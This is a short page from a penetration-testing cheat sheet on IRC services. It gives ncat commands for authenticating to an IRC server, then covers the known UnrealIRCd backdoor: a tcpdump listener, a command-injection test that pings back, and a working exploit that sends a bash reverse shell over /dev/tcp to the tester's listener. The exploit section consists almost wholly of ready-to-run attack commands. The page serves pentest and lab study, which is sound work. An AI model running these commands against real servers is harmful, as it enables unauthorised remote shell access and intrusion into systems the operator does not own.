> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/services/misc/irc.md).

# IRC

> Internet Relay Chat is an application layer protocol that facilitates communication in the form of text. The chat process works on a client/server networking model.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/Internet_Relay_Chat)

## Authenticate

```bash
ncat <ip> <port>
```

```
PASS <anyPassword>
NICK <anyNickname>
USER <anyNickname> <anyServerName> AndComment :<anyComment>
```

## Backdoor in Unreal IRC

[A backdoor in UnrealIRCd LWN.net](https://lwn.net/Articles/392201/)

Listen for icmp message

```bash
tcpdump -i tun0 icmp
```

Check if backdoor works

```bash
echo "AB; ping -c 1 <own-ip> | nc <target-ip> <port>
```

### Exploit it

```bash
ncat -lnvp <port>
echo "AB; bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'" | ncat <target-ip> <port>
```